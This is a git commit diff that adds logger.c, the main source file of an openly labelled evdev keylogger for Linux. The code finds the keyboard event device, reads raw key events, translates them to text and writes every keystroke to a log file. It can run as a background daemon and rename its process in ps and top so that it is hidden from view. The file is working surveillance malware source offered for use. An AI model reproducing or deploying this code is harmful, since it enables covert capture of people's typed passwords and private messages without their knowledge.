summaryrefslogtreecommitdiffstats
path: root/logger.c
diff options
context:
space:
mode:
Diffstat (limited to 'logger.c')
-rw-r--r--logger.c161
1 files changed, 161 insertions, 0 deletions
diff --git a/logger.c b/logger.c
new file mode 100644
index 0000000..7bebe65
--- /dev/null
+++ b/logger.c
@@ -0,0 +1,161 @@
+/*
+ * logger.c
+ *
+ * Copyright 2012 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.
+ *
+ * Logs keys with evdev.
+ *
+ *
+ * TODO:
+ * - Get delay time between key key repeat from X server.
+ *
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <getopt.h>
+#include "keymap.h"
+#include "evdev.h"
+#include "process.h"
+
+
+int main(int argc, char *argv[])
+{
+ char buffer[256];
+ char event_device[256];
+ char *log_file, *pid_file, *process_name, option;
+ int evdev_fd, daemonize, force_us_keymap, option_index;
+ FILE *log, *pid;
+ struct input_event ev;
+ struct input_event_state state;
+
+ static struct option long_options[] = {
+ {"daemonize", no_argument, NULL, 'd'},
+ {"foreground", no_argument, NULL, 'f'},
+ {"force-us-keymap", no_argument, NULL, 'u'},
+ {"event-device", required_argument, NULL, 'e'},
+ {"log-file", required_argument, NULL, 'l'},
+ {"pid-file", required_argument, NULL, 'p'},
+ {"process-name", required_argument, NULL, 'n'},
+ {"help", no_argument, NULL, 'h'},
+ {0, 0, 0, 0}
+ };
+
+ strcpy(event_device, "auto");
+ log_file = 0;
+ log = stdout;
+ pid_file = 0;
+ process_name = 0;
+ daemonize = 0;
+ force_us_keymap = 0;
+
+ close(STDIN_FILENO);
+
+ while ((option = getopt_long(argc, argv, "dfue:l:p:n:h", long_options, &option_index)) != -1) {
+ switch (option) {
+ case 'd':
+ daemonize = 1;
+ break;
+ case 'f':
+ daemonize = 0;
+ break;
+ case 'u':
+ force_us_keymap = 1;
+ break;
+ case 'e':
+ strncpy(event_device, optarg, sizeof(event_device));
+ break;
+ case 'l':
+ log_file = optarg;
+ break;
+ case 'p':
+ pid_file = optarg;
+ break;
+ case 'n':
+ process_name = optarg;
+ break;
+ case 'h':
+ case '?':
+ default:
+ fprintf(stderr, "Evdev Keylogger by zx2c4\n\n");
+ fprintf(stderr, "Usage: %s [OPTION]...\n", argv[0]);
+ fprintf(stderr, " -d, --daemonize run as a background daemon\n");
+ fprintf(stderr, " -f, --foreground run in the foreground (default)\n");
+ fprintf(stderr, " -u, --force-us-keymap instead of auto-detection, force usage of built-in US keymap\n");
+ fprintf(stderr, " -e DEVICE, --event-device=DEVICE use event device DEVICE (default=auto-detect)\n");
+ fprintf(stderr, " -l FILE, --log-file=FILE write key log to FILE (default=stdout)\n");
+ fprintf(stderr, " -p FILE, --pid-file=FILE write the pid of the process to FILE\n");
+ fprintf(stderr, " -n NAME, --process-name=NAME change process name in ps and top to NAME\n");
+ fprintf(stderr, " -h, --help display this message\n");
+ return option == 'h' ? EXIT_SUCCESS : EXIT_FAILURE;
+ }
+ }
+
+ if (!strcmp(event_device, "auto")) {
+ if (find_default_keyboard(event_device, sizeof(event_device)) == -1) {
+ fprintf(stderr, "Could not find default event device.\nTry passing it manually with --event-device.\n");
+ return EXIT_FAILURE;
+ }
+ }
+ if (log_file && strlen(log_file) != 1 && log_file[0] != '-' && log_file[1] != '\0') {
+ if (!(log = fopen(log_file, "w"))) {
+ perror("fopen");
+ return EXIT_FAILURE;
+ }
+ close(STDOUT_FILENO);
+ }
+
+ if ((evdev_fd = open(event_device, O_RDONLY | O_NOCTTY)) < 0) {
+ perror("open");
+ fprintf(stderr, "Perhaps try running this program as root.\n");
+ return EXIT_FAILURE;
+ }
+
+ if (!force_us_keymap) {
+ if (load_system_keymap())
+ fprintf(stderr, "Failed to load system keymap. Falling back onto built-in US keymap.\n");
+ }
+ if (pid_file) {
+ pid = fopen(pid_file, "w");
+ if (!pid) {
+ perror("fopen");
+ return EXIT_FAILURE;
+ }
+ }
+ if (daemonize) {
+ if (daemon(0, 1) < 0) {
+ perror("daemon");
+ return EXIT_FAILURE;
+ }
+ }
+ if (pid_file) {
+ if (fprintf(pid, "%d\n", getpid()) < 0) {
+ perror("fprintf");
+ return EXIT_FAILURE;
+ }
+ fclose(pid);
+ }
+
+ /* DO NOT REMOVE ME! */
+ drop_privileges();
+
+ if (process_name)
+ set_process_name(process_name, argc, argv);
+
+ memset(&state, 0, sizeof(state));
+ while (read(evdev_fd, &ev, sizeof(ev)) > 0) {
+ if (translate_event(&ev, &state, buffer, sizeof(buffer)) > 0) {
+ fprintf(log, "%s", buffer);
+ fflush(log);
+ }
+ }
+
+ fclose(log);
+ close(evdev_fd);
+
+ perror("read");
+ return EXIT_FAILURE;
+}